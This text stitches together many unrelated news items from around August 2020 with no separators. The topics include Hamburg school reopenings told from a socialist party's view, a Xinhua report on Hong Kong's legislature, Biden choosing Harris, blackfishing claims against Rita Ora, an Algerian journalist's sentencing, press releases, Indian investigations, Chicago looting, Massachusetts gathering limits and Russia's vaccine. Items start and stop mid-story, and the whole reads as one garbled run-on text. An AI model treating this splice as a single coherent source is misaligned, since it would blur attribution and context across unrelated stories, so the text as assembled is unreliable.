infections were detected among shipyard workers and employees of contractors at the shipyard. Despite all this, teachers and pupils in Hamburg are being forced to attend classes. While the RKI insists on its AHA rules for social distancing, handwashing and wearing of masks, pupils will sit together in full classes, without mouth-and-nose protection and any possibility of keeping the proscribed distance of 1.5 metres. In some schools, windows cannot be opened properly, although the aerial emissions from a sick person (as a video simulation from the TU Berlin shows) can fill an entire classroom in just two minutes. Children, teachers and parents are protesting against the opening up policy and have expressed their anger and sarcasm on Twitter. One wrote: What is the point of the RKI if even our Ministers of Culture dont follow its recommendations? School opening without an AHA rule is not merely a case of negligence. It borders on intentional infection. Others call the ministers of culture the supreme Corona deniers and warn: Do not then say anybody, we could have known the consequences! More than 20 teachers have taken legal action against being forced to attend classes. A number of teachers had already undertaken legal complaints in April and May, but in vain. Now the Education Ministry in Schleswig-Holstein has gone so far as to appeal against a ruling. The Administrative Court in Schleswig had ruled in the case of a teacher suffering from lung disease that she should not be forced to attend classes for the time being. The Education Ministry has appealed against the judgment. An open letter to the mayors of Hamburg, Peter Tschentscher (SPD) and Katharina Fegebank (Greens), as well as the senators for schools and social affairs, Ties Rabe and Melanie Leonhard (both SPD), was signed by more than 800 parents on the first day of reopened schools. The letter opposes the policy, arguing that a safe and orderly start of school is not possible. The parents write that they are naturally concerned about the welfare of children and their socio-psychological development. But the welfare of the child is not possible without health protection. They demand urgent improvements to the concept presented! It is false, however, to expect the SPD and the Greens, who govern in the city-state of Hamburg, to take such proposals seriously. Hamburgs school senator Ties Rabe, for example, never tires of repeating his claim that coronavirus is safer for children and young people than flu. Against all evidence to the contrary, Rabe declares in a school-start video that children are not as much at risk as adults. The Left Party, which governs in Thuringia, Berlin and Bremen, and the teachers union GEW, also cannot be trusted. They are all ruthlessly pushing ahead with the opening of schools because they put the interests of the economy above the life and health of the working population. It is the same politicians who agreed to pump hundreds of billions and trillions of euros of pandemic emergency aid into the vaults of banks and corporations. The World Socialist Web Site, the Socialist Equality Party and its sister parties across the world reject this dangerous experiment. We call on young people, as well as teachers, educators and parents, to take action and fight against it. In a statement published on July 6 on the WSWS, the Socialist Equality Party (SEP) in the US calls for a nationwide general strike against the reopening of schools. In order to organize and make such a movement successful, teachers have to build independent action committees, unite with other sections of the working class and take up a struggle for the transformation of society according to socialist principles. All the rights of the working class, even the right to life, depend upon the expropriation of the ruling class and the reorganization of economic life on the basis of social need, not private profit the SEP writes and continues, The only way to halt the reopening of schools, stop the spread of the pandemic and prevent millions more infections and deaths is through the mass mobilization of the working class in a revolutionary struggle against the source of all suffering wrought by the pandemic, the capitalist system. Source: Xinhua| 2020-08-11 21:51:33|Editor: huaxia Video Player Close HONG KONG, Aug. 11 (Xinhua) -- Chief Executive of China's Hong Kong Special Administrative Region (HKSAR) Carrie Lam Tuesday expressed her gratitude to the Standing Committee of the National People's Congress (NPC) for its decision for the sixth Legislative Council (LegCo) of the HKSAR to continue to discharge duties, resolving the problem of a lacuna in the legislature arising from the postponement of the election of the seventh LegCo for a year. The HKSAR government announced on July 31 that owing to the severe COVID-19 epidemic situation, the chief executive acting after consultation with the Executive Council decided to postpone the LegCo General Election, originally scheduled for Sept. 6, 2020, for a year in order to protect public safety and public health as well as to ensure that the LegCo election can be conducted openly and fairly. Article 69 of the HKSAR Basic Law stipulates that the term of office of the Legislative Council of the HKSAR shall be four years, except the first term which shall be two years. Therefore, the current term of the LegCo would end on Sept. 30, 2020, and there would be a lacuna in the legislature of the HKSAR before the formation of the seventh LegCo. To resolve this problem, the chief executive, after the HKSAR executive council had made the decision, submitted an urgent report to the central government seeking its support and guidance. The State Council subsequently replied and expressed support for the decision of the HKSAR government to postpone the election of the seventh LegCo by one year, and stated that it would make a submission in accordance with the law to the Standing Committee of the NPC for a decision on the issue of the lacuna in the legislature. Lam said that the Standing Committee of the NPC made an authoritative decision in accordance with the relevant provisions in the Constitution of the People's Republic of China and the HKSAR Basic Law, fully resolving the issue of the lacuna in the legislature arising from the postponement of the election. It not only maintains the constitutional and legal order of the HKSAR, but also ensures the normal governance of the HKSAR government and the normal operation of society, Lam said. She added that the decision also demonstrates once again the care and support of the central government for the HKSAR. According to the decision, after Sept. 30, 2020, the sixth LegCo of the HKSAR will continue to discharge its duties for no less than one year until the commencement of the seventh LegCo. The decision also stated clearly that the seventh LegCo of the HKSAR will have a term of four years after it has been formed in accordance with the law. The HKSAR government will publish in the gazette the decision of the Standing Committee of the NPC in due course. It will also publish in the gazette the withdrawal of the decision made by the chief executive earlier in accordance with section 6 of the Legislative Council Ordinance on the prorogation of the sixth LegCo, which was made having regard to the LegCo General Election. The withdrawal will enable the sixth LegCo to resume operation at an early juncture when necessary. Enditem (Newser) The Democratic ticket in November will be Biden-Harris. After months of speculation that Joe Biden was most likely to pick Sen. Kamala Harris as his running mate, the presumptive Democratic nominee confirmed it Tuesday, the BBC reports. If elected, Harris will become the first female, first Black, and first Asian American vice president, reports NBC. "You make a lot of important decisions as president. But the first one is who you select to be your Vice President," Biden said in an email to supporters. "Ive decided that Kamala Harris is the best person to help me take this fight to Donald Trump and Mike Pence and then to lead this nation starting in January 2021." story continues below In a tweet, Biden described his former rival as "a fearless fighter for the little guy, and one of the countrys finest public servants." Harris and Biden are expected to speak in Wilmington Wednesday. The AP reports that Biden picked the 55-year-old Harris after an "expansive" search that also looked at Sen. Elizabeth Warren, Reps. Val Demings and Karen Bass, Atlanta Mayor Keisha Lance Bottoms, and former Obama national security adviser Susan Rice. Rice congratulated Harris Tuesday, calling her a "tenacious and trailblazing leader." (Read more Kamala Harris stories.) Rita Ora has been accused of 'blackfishing' by Twitter users who discovered her Albanian roots in a social media storm on Monday. Despite the Hot Right Now hitmaker, 29, frequently discussing her Albanian heritage, her family's escape from the war-torn area and life as a refugee in London, enraged critics still lashed out at the star for her alleged 'cultural appropriation'. The tweet that sparked the entire debate garnered a huge 109.4k likes in just two days, with the fuming message accompanied with images of Rita donning 'appropriating' hairstyles such as box braids and an afro. Hitting out: Rita Ora has been accused of 'blackfishing' by Twitter users who discovered her Albanian roots in a social media storm on Monday (pictured in 2015) Rita and her family fled Albania in 1991, during the decade-long war in the country, where thousands of people were killed and more than one million people - including the Oras - were forced to escape to safety. In April, Rita discussed her experience as a refugee after 'escaping persecution' as a child in Albania, with her parents and sister Elena. Rita visits Albania whenever she can with her family and proudly owns the traditional dress and knows their dances. In 2016, during an appearance on Wendy Williams' show, the host said: 'I thought you were half-Black and half-white, or something like that, to which Rita replied: 'Everybody usually does. I might as well be. But no, I'm Albanian.' Family: Rita is pictured with sister Elena, mother Vera and father Besnik in November 2018. She has frequently discussing her Albanian heritage and her family's escape from the war-torn area Shocking: Her followers were left shocked Family: Rita and her family fled Albania in 1991, during the decade-long war in the country, where thousands of people were killed (above Rita's parents Besnik and Vera in October 2018) Despite these factors, a Twitter user wrote on Monday: 'Finding out rita ora isnt black at all and both of her parents are white albanians is so trippy... 'The girls BEEN blackfishing... like the girl isnt black in the slightest this is freaking me out. yt [slang for Whitey] women really slip into black personas so easily... 'if yall knew she wasnt mixed then good for you but dont gaslight us like were delusional and randomly assumed she was black'. The initial tweet saw the eye-popping number of likes, as well as 22.4k retweets and comments in the two day span. In response to the original message, a follower penned: 'And she was pretty vocal about it as well because imo she was getting tired of everyone thinking she had some black in her when she was just Albanian.' Uh oh: Yet the Twitter user wrote: 'if she was so tired of ppl assuming she was black why was she wearing braids, tanning and plopping a jerry curl wig on her head?' Yet the Twitter user wrote: 'if she was so tired of ppl assuming she was black why was she wearing braids, tanning and plopping a jerry curl wig on her head?... 'yall cant be this dumb. like you genuinely have to be an idiot to believe her and her team werent feeding into the idea of her being mixed.' In support of the message, tweeters penned: 'We've been blackfished... rita ora not being black .... so shes been blackfishing and culture appropriating this whole time... Whatttttt???!????? I thought she was mixed' Sharing a series of images of Rita donning different hairstyles, another confused tweeter wrote: 'Your telling me this woman not at least mixed?????????' Changing: Her various hairstyles came under fire by her critics (pictured in 2015) More users wrote: 'thats whats weirding me out like i didnt think she was fully black but mixed at least... WAIT SHES NOT EVEN A LIL BIT BLACK?? 'tf i thought she was black... I just found out that Rita Ora isnt black... like at ALL. Shes literally the same ethnicity as Dua Lipa.' Blackfishing is a term used to describe a person accused of pretending to be black on social media by using make-up, hair products and styles to change their appearance. Way back when: Additionally, in 2016, during an appearance on Wendy Williams' show, the host said: 'I thought you were half-Black and half-white, or something like that, to which Rita replied: 'Everybody usually does. I might as well be. But no, I'm Albanian' Despite the influx of confusion and criticism, others were keen to point out that Rita had always been very vocal about her race and background. One fan jumped to her defense by sharing a montage of videos in which she discusses her Kosovan background. Another defender wrote: 'But she was on the Wendy show talking about how shes albania she was on the radio speaking Albanian she was on the news being interviewed about kosov SHE LITERALLY HAS A SONGGGGGGGG IN KOSOVVVVV' 'Shes said she was white though numerous times.' War: Despite the Hot Right Now hitmaker, 29, frequently discussing her Albanian heritage, her family's escape from the war-torn area and life as a refugee in London, enraged critics still lashed out at the star for her alleged cultural appropriation (pictured with her mum Vera and sister Elena) 'How is she black fishing ? Yall automatically ASSUMED she has black in her . Not once has this girl said she was black or trying to be black . She look like a regular industry chick switching her looks up .' Another defensive fan penned: 'But she was BORN with these features...she never once tried to be black. 'She proudly stated numerous times that she's Albanian. Yeaaa she wore braids a couple times, but black women dye their hair blonde the tweet issa reach'. MailOnline has contacted a representative for Rita for comment. A court in Algeria sentenced journalist Khaled Drareni to three years in prison on 10 August after he had reported on the anti-government demonstrations that swept the country in 2019. The International Federation of Journalists (IFJ) condemns this outrageous sentence and urges the authorities to drop the charges against Drareni and release him immediately. Protestors carry Drareni on their shoulders after he was briefly detained on 6 March. Credits: RYAD KRAMDI / AFP Drareni, a correspondent for the French-language channel TV5MONDE and editor of the online news website Casbah Tribune, was arrested on March 7, after covering the "Hirak" protest movement in Algeria. The IFJ has repeatedly condemned his arrest as a blatant attack on press freedom. Drareni was convicted of "inciting an unarmed gathering" and "endangering national unity," despite the lack of evidence that he did anything except his job as a journalist. His lawyer and president of the Algerian League for Human Rights Nouredine Benissad told AFP: "It's a very heavy verdict for Khaled Drareni. We are surprised, the case is hollow." Two Hirak protestors were co-accused in the trail before the Sidi M'hamed court in Algiers. Samir Benlarbi and Slimane Hamitouche both received a two-year sentence. In recent months, Algerian authorities have increased pressure on journalists, accusing them of acting against the national interest, creating tensions, and receiving support from "foreign parties". In July, Ali Djamel Toubal, a correspondent for private media group Ennahar, was sentenced to 15 months in prison for reporting on anti-regime protests. IFJ General Secretary, Anthony Bellanger, said: "Khaled Drareni is a free and independent journalist who did nothing more than his job. His conviction is unacceptable and a blatant attack on press freedom. We call for his immediate and unconditional release as well as of all the detained journalists in Algeria". "Design can solve complex problems. With creativity in design we can achieve a better understanding of human needs and shape the future of sustainable mobility in its many forms," said Mike Marchand, Michelin North America director of sustainable development and mobility. "We are excited that Challenge Design will become an official pillar of the Movin'On ecosystem and further engage the global design community in support of evolving sustainable mobility solutions," Marchand said. The 2021 theme is "RESPECT: Ending Isolation and Conquering the Mobility Divide" "Age and disability can limit access to safe and affordable mobility for one of every four people in the world today, reducing joy and the ability to fully participate in, benefit from, and contribute to society both socially and economically," said Nick Mailhiot, chairman of the 2021 Movin'On Challenge Design competition. "The 2021 Movin'On challenge to entrants is to design a future with truly inclusive access to mobility, a future that breaks down barriers and increases the personal well-being and respect for all people," Mailhiot said. Artists, designers, engineers, architects, city planners and creatives worldwide are invited to enter, in teams or individually. The competition will open for entries on Nov. 1, 2020, and close March 1, 2021. Entries are judged by a prestigious international jury, including heads of advanced design for major mobility organizations. The three winners will be invited to participate in the June 2021 Movin'On Summit in Montreal as guests of the organizers. Through its first 20 years, Challenge Design received more than 14,000 entries from 134 countries. Recent winners and Judge's Award recipients have included university and graduate program students, professional designers, engineers, futurists and cross-functional teams. About Michelin North America, Inc. Michelin, the leading mobility company, is dedicated to sustainably enhancing its clients' mobility; designing and distributing the most suitable tires, services and solutions for its clients' needs; providing digital services, maps and guides to help enrich trips and travels and make them unique experiences; and developing high-technology materials that serve a variety of industries. Headquartered in Greenville, S.C., Michelin North America (www.michelinman.com) has more than 21,400 employees and operates 19 major manufacturing plants. About Movin'On Movin'On is the world's leading co-innovation ecosystem for sustainable mobility. Created and inspired by Michelin, it brings together large companies, startups, public and academic authorities, NGO's and international organizations, as well as a community of experts and professionals to move from ambition to action. SOURCE Michelin Related Links http://www.michelinmedia.com By Express News Service SHIVAMOGGA: Excited after spotting Sandalwood actor Vijay Raghavendra, a staff member of a petrol pump in the city filled diesel instead of petrol into the actors car on Monday. The incident came to light on Tuesday. The goof-up by the staffer forced Vijay and his family to travel to Bengaluru in another car. Sources said that Vijay and his family had been to Jog Falls in Sagar taluk. While heading back to Bengaluru, the actor stopped his car at a petrol pump to fill up petrol. One of the staff members was so excited on spotting the actor that he forgot to fill up petrol and ended up filling diesel. Later, the owner of the petrol pump intervened and sent the actor and his family to Bengaluru in another car. Vijays car was taken for repair and servicing. When The New Indian Express contacted Vijay, he was upset over the incident and said he did not want to comment on it. The council agreed to an immediate release of Taliban prisoners but by Tuesday, they had not been freed. Negotiations between Kabuls political leadership and the Taliban are expected to begin within weeks and will be held in the Mideast state of Qatar, where the Taliban maintain a political office. The Taliban said the talks could begin within a week of the final prisoner releases. The Income Tax (I-T) Department on August 11 said it conducted search operations at various Chinese entities. The search was mounted following information that a few Chinese individuals and their Indian associates were involved in money laundering and hawala transactions through a series of shell companies, the Central Board of Direct Taxes (CBDT) said in a release. It said some bank officials had also been raided. The tax department added that more than 40 bank accounts, with credits of over than Rs 1,000 crore, were created in various dummy entities at the behest of some Chinese individuals. The raids also revealed that a subsidiary of a Chinese company and its related entities have taken over Rs 100 crore in bogus advances from shell entities to open retail showrooms in India. The CBDT said, "Further, incriminating documents in respect of hawala transactions and laundering of money with active involvement of bank employees and chartered accountants has been found as a result of search action. Evidences of foreign hawala transactions involving Hong Kong and US dollars have also been unearthed." This comes at a time when anti-China sentiment in the country is running high. The Board of Control for Cricket in India (BCCI) on August 6 confirmed that Chinese handset major Vivo will not be associated with the Indian Premier League as its title sponsor for this year's edition, an announcement that came amid growing calls for the boycott of Chinese companies in India. Earlier, the Centre also banned 59 Chinese apps in India, besides imposing 100 percent physical checks on all imports from its northern neighbour, and increasing scrutiny of Chinese investments in Indian firms by restricting foreign direct investment (FDI) from neighbouring countries without government approval. All this, after the two countries' troops clashed at the Line of Actual Control (LAC) in Ladakh in June, in which 20 Indian soldiers were martyred. Goya Gives, with overwhelming support from consumers, business leaders, community and faith-based organizations, has been able to extend its arms far beyond what was initially thought possible. "I am truly pleased to support a company who has worked through this pandemic at a time when economic activity and education around the globe has come to an abrupt halt. We are proud to join others in providing much needed food and nourishment to those in need," said Mike Brannon, CEO of Brannon Industrial Group, who led the group presenting the donation. "I thank Goya and its employees for keeping our critical food supply stocked and plentiful. I am humbled to play a part by supporting Goya Gives," said Rick Figueroa, Business and Community Leader. "We are grateful and humbled by the outpouring of support for our Goya family from our consumers and friends alike. We are proud of our courageous workforce who heroically proclaimed, 'If we don't step up, who will?' Most importantly it is humbling for these courageous Goya family members to be recognized by a true American hero," said Bob Unanue, President and CEO of Goya Foods. Through Goya Gives, a global program committed to promoting the overall well-being of communities through social responsibility, environmental initiatives, and company values, Goya supports each year nearly 300 charitable endeavors, scholarships, and events. In times of desperate need, Goya has always been at the forefront of disaster and humanitarian relief efforts, providing millions of pounds of food worldwide. At the start of the pandemic, the company donated an additional 500,000 pounds of food and 20,000 protective masks to health care providers. During Hurricane Maria Goya donated over 1 million pounds of food to the people of Puerto Rico, in addition to the starving people of Venezuela during governmental unrest, to the people of Haiti during the earthquake, and at home during Superstorm Sandy, and Hurricanes Isaac, Harvey, and Irene. Since 1936, giving back is the heart of Goya and has always been a part of the company's DNA. To learn more about Goya Gives, please visit: www.goya.com About Goya Foods Founded in 1936, Goya Foods, Inc. is America's largest Hispanic-owned food company, and has established itself as the leader in Latin American food and condiments. Goya manufactures, packages, and distributes over 2,500 high-quality food products from Spain, the Caribbean, Mexico, Central, and South America. Goya products have their roots in the culinary traditions of Hispanic communities around the world. The combination of authentic ingredients, robust seasonings, and convenient preparation makes Goya products ideal for every taste and every table. For more information on Goya Foods, please visit www.goya.com. Press Contact: Natalie J. Maniscalco 845.659.6506 [email protected] SOURCE Goya Foods, Inc. Related Links http://www.goya.com The late actor Sushant Singh Rajputs sister Mitu Singh recorded her statement before the Enforcement Directorate (ED) on Tuesday, as part of an investigation into allegations of misappropriation of Rajputs funds. Singh is the first member of Rajputs family to be questioned by ED. Singh, a Goregaon resident, was among those present at Rajputs residence in Bandra, when Mumbai Police conducted a panchnama on June 14 after Rajput, 34, was found dead in his apartment. Later, Singh accompanied the police to a property Rajput owned in Lonavla. However, Mumbai Police said Singh has subsequently avoided appearing before the investigators probing the actors death, despite being called five times. On Tuesday, Singh appeared before ED at around 1.15pm. After nearly nine hours of questioning, Singh left ED office at around 10.30pm. At the time of going to print, Rajputs friend and flatmate Siddharth Pithani was still at ED office. Earlier in the day, Rajputs former manager and Chakrabortys present manager Shruti Modi had appeared before ED and left the office in the afternoon. Sources at ED said Singh may be able to throw some light on Rajputs financial activities and the extent of actor Rhea Chakrabortys involvement in his finances. According to a first information report (FIR) filed by Bihar Police, Rajputs father KK Singh has accused Chakraborty of abetting Rajputs suicide and siphoning his money. KK Singh has alleged Chakraborty appropriated 15 crore from Rajputs accounts. Chakraborty has denied the allegations. On July 31, ED had filed a case on the basis of Bihar Polices FIR which named Chakraborty as an accused. Chakraborty approached Supreme Court (SC), requesting the case be transferred to Mumbai. SC has reserved a verdict on her plea and asked all parties to file brief written submissions by August 13, when the plea will be heard next. Alongside ED, the Central Bureau of Investigation (CBI), has also launched a probe on the Bihar governments request. Chakraborty, her brother Showik, four other family members and other persons have been named as accused by CBI. EDs investigation is probing a possible mismatch between Chakrabortys income and expenditures. Sources said questions were raised about a flat she owns in Khar. Chakraborty told investigators that the property is valued at 84 lakh and to purchase it, she took a home loan of 60 lakh. Chakraborty has maintained she is innocent and she has denied using Rajputs money for any of her investments, officials said. Showik was a director in two companies owned by Rajput and has been questioned multiple times by ED for his involvement in the money laundering case. On August 8, Showik was grilled for 18 hours by ED and left the EDs office at 6.30am on August 9. He appeared before ED again on Monday. Yesterday, Chakraborty, Showik and their father appeared before ED and were questioned for over nine hours. This was the second time Chakraborty had been questioned by the agency. Sources in ED said she had responded to most of their questions. Credit union-supported candidates across the country were victorious in primary elections last week. Last Tuesday saw primaries in Arizona, Kansas, Michigan, Missouri and Washington, while Tennessee conducted their primary last Thursday, and Hawaii last Saturday. Candidates are supported by state credit union Leagues and Credit Union Legislative Action Council (CULAC), CUNAs federal political action committee. Credit union-backed Bill Hagerty won Thursday in Tennessees Republican Senate primary, defeating challenger Manny Sethi. Hagerty will run in November to fill the seat of retiring Sen. Lamar Alexander (R). In Kansas, credit union supporter and former Lieutenant Gov. Tracey Mann was the 1stCongressional District Republican primary winner, defeating challenger Bill Clifford with 54% of the vote. GREENSBORO Seven charter schools in Guilford County are expected to start the school year with remote learning, while the other five will begin with a hybrid of remote and in-person instruction. It is not an ideal situation, but we need to keep everybody safe," Liz Firm, vice president of TMSA Public Charter Schools, said in a news release. Her group, which includes Triad Math and Science Academy, is keeping its schools remote only for at least the first quarter of the school year. On the flip side, Revolution Academy, a new charter school in Guilford County, is one of those pursuing a hybrid approach. "We struggled with how to make it work, but we didnt struggle whether to make it work," said Mary Catherine Sauer, the school's principal, about the decision to teach students in person. The school starts its first-ever year on Aug. 20. Even if they have to go remote-only later, leaders wanted to start with some in-class learning to forge what they see as critical in-person connections, Sauer said. The Chicago Police Department arrested at least 100 overnight following the looting and violence that overtook the streets and injured a couple of police authorities. Looting and violence overtook the streets in downtown Chicago. This resulted in the arrest of at least 100 people in just one day. Meanwhile, authorities said that a couple of the police officers got injured during the arrest of few people. According to a published report in ABC News, around 13 officers got injured. This includes a sergeant who was attacked with a bottle. Additionally, two civilians were shot during the unrest after midnight Sunday, and few others were arrested. Authorities also reported that in the early hours of Monday morning, hundreds of people staged violence in downtown Chicago. They targeted the Magnificent Mile shopping district and other surrounding areas. Authorities said they vandalized some establishments and staged violence in the area. Suspects of the staged violence in downtown Chicago will be facing charges such as looting, battery against police, and disorderly conduct. Chicago Police Superintendent David Brown said on Monday that investigators are also searching for suspects who fired shots to police authorities. Brown said, "As officers were making the arrest, another vehicle passed by the officers and fired shots at the officers, as their vehicle turned the corner, resulting in an exchange in gunfire between officers and the suspects. A bullet was found lodged in the cage of the police vehicle." This happened when police officers arrested a suspect who was seen carrying a cash register from the store he had looted out of a store. Meanwhile, police authorities who responded and were shot were reportedly not wounded. To address this problem in the city, Chicago Mayor Lori Lightfoot said that she implemented a community protection program through a lockdown and with massive police presence. Lightfoot also added that police presence would last until the city and the neighborhoods are safe. Moreover, Mayor Lori Lightfoot said that the criminal activity had nothing to do with organized protests and described it instead as an assault in the city of Chicago. Lightfoot said on Monday, "These individuals engaged in what only could be described as brazen and extensive criminal looting and destruction. To be clear, this had nothing to do with legitimate, protected First Amendment expression." According to the investigators, the violence in downtown Chicago was sparked by an inaccurate report online about an unarmed juvenile being shot by a police authority in the Englewood area, Sunday. However, authorities clarified that the victim was a 20-year-old man who opened fire while being chased by police authorities. Brown said, "Tempers flared, fueled by misinformation as the afternoon turned into evening. CPD became aware of several social media posts encouraging looting downtown. Officers were dispatched to our downtown area once we got word of the social media posts. Four hundred officers were dispatched to our downtown." Check these out! For about a month, Massachusetts has operated within the guidelines of Phase 3, which originally limited outdoor gatherings to 100 and indoor gatherings to 25 people. On Tuesday, updates to Phase 3 announced by Gov. Charlie Baker last week, specifically regarding gatherings, go into effect. Indoor gatherings Indoor gatherings will remain capped at 25 people, however, the order lays out guidance of how many people should occupy a given space. The order states that indoor gatherings should not exceed more than eight people per 1,000 square feet. The order pertains to both public and private property. Face coverings are required when 10 or more people from different households attend a gathering. Six feet of separation is also required. Outdoor gatherings The limit on outdoor gatherings is sliced in half to no more than 50 people. Like the guidelines for indoor gatherings, the order outlines on limits for certain spaces meaning not every space has the capacity for 50 people. Outdoor gatherings should not exceed 25% of the permitted occupancy of the facility or space documented on the occupancy permit on record. When no occupancy limitation exists, the order says, there should be no more than eight people per 1,000 square feet. The order applies to both private and public properties. The order requires face coverings at the events when 10 or more people from different households attend a gathering. Six feet of separation is also required. Exceptions The order doesnt limit overall capacity to to beaches, parks or recreational areas. The order is meant to limit social gathering or celebrations. The order, however, does limit celebrations and social gatherings in public areas like beaches and parks. The order also exempts these workplaces, facilities and organizations: Municipal legislative bodies, General Court or the Judiciary Federal government entities Healthcare facilities or licensed providers Polling places Public schools Residential and day schools for special needs students Licensed, approved or exempt child care facilities Facilities operated by the Department of Corrections or Sheriff Facilities operated by the Department of Youth Services, Department of Mental Health, Department of Public Health, or the Department of Development Services Facilities and programs that provide safe spaces for the unstably housed Any workplace or facility deemed exempt in writing by the Commissioner of Public Health How will the updates to the order be enforced? In announcing the updates, Baker also said the state will ramp up enforcement, creating a multi-agency coalition with police officials to crack down on violations of the COVID-19 regulations that are supposed to limit community transmissions. The Department of Public Health and local boards of health may issue civil fines of up to $500 per violation. The order may also be enforced by an injunction filed in court. Why did Baker introduce new restrictions? Baker unveiled the updates last week following multiple reports of large parties across the state, violating the public gathering restrictions, failing to keep 6 feet apart, flouting the mask order or, in some cases, all three. There was a lifeguard party in Falmouth that led to a COVID-19 outbreak, a group of unmasked Baystate Medical Center employees eating lunch together in Springfield that spread the virus and an Aug. 1 wedding at the Colonial Hotel in Gardner that health officials say drew 240 guests and 70 staffers. In some respects were entering a new phase in our battle against COVID-19, Baker said during a news conference at the Massachusetts State House. That new phase involves preventing a slow creep of COVID-19 rates, as Health and Human Services Secretary Marylou Sudders described it last week. The state plans to start releasing larger batches of community-level data to give a closer look of how how towns and cities are faring in the coronavirus pandemic. Related Content: Doing right by the taxpayers and serving them with excellence is what drives my passion for public service. I understand politics is part of the job, but I feel compelled to speak out when elected officials make false statements to mislead the public. On April 21, I announced a plan to postpone penalties for the first installment of property taxes in Madison County for 2 months due to the COVID-19 pandemic. In the May County Board Meeting, the resolution passed unanimously. Later, the state legislature decided to offer up their own legislation to provide trelie. Although the Illinois County Treasurers Associations legislative committee provided language for the bill, legislators decided to ignore the language from county treasurers with deep experience in local revenue collection, and went their own way. Even Governor Pritzker had urged the legislature to defer to counties to handle property tax relief related to the pandemic, since property taxes are collected locally. At the time the legislature passed their bill and it was signed by the governor, nearly every county in the state had already sent out their tax bills and had begun collecting taxes. Many counties had already passed their own resolutions to provide relief. Since the legislature passed their property tax relief bill, exactly ZERO counties have taken advantage of the hastily-passed legislation. I found it quite concerning that two of our local state legislators, Monica Bristow (D-Alton) and Katie Stuart (D- Edwardsville) sent out separate press releases touting the property tax relief that they helped provide, by waiving late penalties. I understand thats how politics works, so I ignored it. But then I received in the mail, a postcard from Bristow, paid for by taxpayers, touting that she provided property tax relief by suspending late payment penalties. This claim is simply untrue. Both Monica Bristow and Katie Stuart were assigned to Governor Pritzkers Property Tax Task Force last year. This group was supposed to solve the problem of our outrageously high property taxes in Illinois, which are the second highest in the nation. Guess how many of their ideas even made it to a committee vote, let alone made it to the floor of the House or Senate? None. Until these legislators can actually get meaningful property tax reform to the House floor for an actual vote, I suggest we ignore any of their empty claims to pander to us at election time. Residents of Madison County deserve effective leadership, and Ill continue to do my part to shine the light of truth and transparency as we enter the final stretch of this election cycle. Minneapolis voters lined up to cast their ballots a day before Tuesdays primary election. Heres what the Democratic convention lineup looks like. Michael M. Grynbaum and Michelle Obama on Monday. Jill Biden on Tuesday. Barack Obama on Wednesday. Joe Biden on Thursday. Thats the nightly prime-time lineup of keynote speeches for the Democratic National Convention next week, according to a schedule of events. The convention, originally planned for Milwaukee, then forced into a cramped virtual format by the coronavirus, has been a logistical nightmare for planners who have had to grapple with wary television networks, daunting technical challenges and the omnipresent, low-grade threat of a disruption by President Trump. The schedule, provided by Democratic officials involved in the planning, above all else reflects Bidens chief political goal: uniting the jostling progressive and establishment wings of the Democratic Party behind an elder statesman who has spent the last several months courting skeptical progressives. Thanks to a mobile medical team, a senior resident surnamed Chang in Weizhou county, Zhangjiakou, North China's Hebei Province, recovered her vision in 2018. Chang lost her husband and two sons to disease in three years and the grief almost took away her eyesight. Local hospital suggested that Chang go to a major city for surgery, but the great expense was a huge problem for her. Fortunately, the mobile medical team visited Weizhou county in 2018 and successfully completed a surgery for Chang, who is still emotional every time she speaks of the medical aid. For 15 years, the mobile team staffed with medical professionals in treating cataract from Hebei Province, has traveled about 300,000 kilometers and cured a total of 23,605 impoverished residents suffering from eye problems in Zhangjiakou and other places for free, exempting over 59 million yuan (about $8.5 million) of medical expenses for them. Parts of the regions in Zhangjiakou are exposed to strong ultraviolet rays, which results in relatively high incidence rate of cataract. As many patients live in remote villages and a quite amount of them are stricken by poverty, they couldn't afford to take cataract surgeries, which may cost several thousand yuan. Therefore, they had no choice but to let the disease to get worse. In 2005, the medical team was established under the request of the health department of Hebei Province. Receiving poverty-alleviation fund and an operation van, the team started a long march of medical poverty alleviation. From June to August every year, the vehicle would travel across the counties in Hebei Province. It stays in each county for five days at most and performs over 40 surgeries every day. The local government departments would inform the patients in advance, said Wang Yingwei, head nurse of the medical team, adding that some patients who missed the treatment in their counties would even follow the medical team to its next stop. "Though we were tired from the daily grind, we would still perform surgeries for them who followed us in off hours," Wang said. "It's nothing to us, but if the patients didn't receive timely treatment, they would face another year of darkness," said Niu Shihe, head of the mobile medical team. During the first several years, those who came for the surgeries were patients who had lost their sight for many years, said a member of the medical team. Due to his eye problem, a senior patient didn't even have the choice to see his grandson since the latter was born, but thanks to the medical team, his grandson for the first time appeared in his eyes. Liu Zhefeng has worked for the mobile medical team for 15 years and even after he retired, the 72-year-old medical worker still volunteered to help poverty-stricken residents with the medical team. A patient from an impoverished household who regains eyesight will alleviate the burden of the family, and might even get rid of poverty and improve the family's livelihood, said Liu, adding that they want to help as many as possible. On August 3, 2020, SCDSS provided guidance to foster parents making educational decisions for children and youth in their care for the upcoming 2020-21 school year, in light of the impact of COVID-19,' Leach said in a statement emailed Monday afternoon. "The guidance acknowledged that school districts across the state may offer several options: in-person instruction; a combination of in-person and virtual instruction; or, options for virtual instruction exclusively. SCDSS encourages in person instruction for children and youth in foster care, if that option is offered by a school district. If virtual instruction is the only format being offered by the school district, then virtual instruction is appropriate for children and youth in foster care until the district plan is revised." "The Agency is aware that in-person attendance, even if available, may not be in the best interest for some children and youth in foster care, foster families, and kinship families with health or other conditions," Leach continued. "When in-person instruction is available, but a person involved in the child or youths care would prefer the child or youth in foster care receive virtual instruction, DSS has provided guidance to case management staff to facilitate input from birth parents (if parental rights have not been terminated), foster parents or residential staff, and if age and developmentally appropriate, the child or youth in care. SCDSS values the crucial role that quality education plays in a child or youths overall development as well as the vital responsibility foster parents accept in caring for youth in foster care. We will continue to monitor the decisions of educational systems in the state and offer ongoing guidance and support to our foster parents as we all navigate the challenging impacts of the COVID-19 pandemic. Russia has launched its first coronavirus vaccine. Russian President Vladimir Putin's daughter has received a shot of the vaccine developed by Gamaleya Research Institute and the Russian Defence Ministry. According to a report in Reuters, the President has asked Health Minister Mikhail Murashko to keep him updated about the vaccine. He added that he is confident that the coronavirus vaccine works "quite effectively" and "forms a stable immunity". "This morning, for the first time in the world, a vaccine against the new coronavirus was registered," he said during a televised video conference call with government ministers. Vladimir Putin also thanked everyone who worked on the first coronavirus vaccine and said that it is a "very important step for the world". Russia had stated earlier that mass vaccinations could begin by October. Health Minister Mikhail Murashko had stated that member of "risk groups", including medical workers would be the first to administer the vaccine. Meanwhile, the Association of Clinical Trials Organizations in Russia sent a letter to Murashko on Monday stating that allowing civilian use of a potential coronavirus vaccine before trials are complete could put 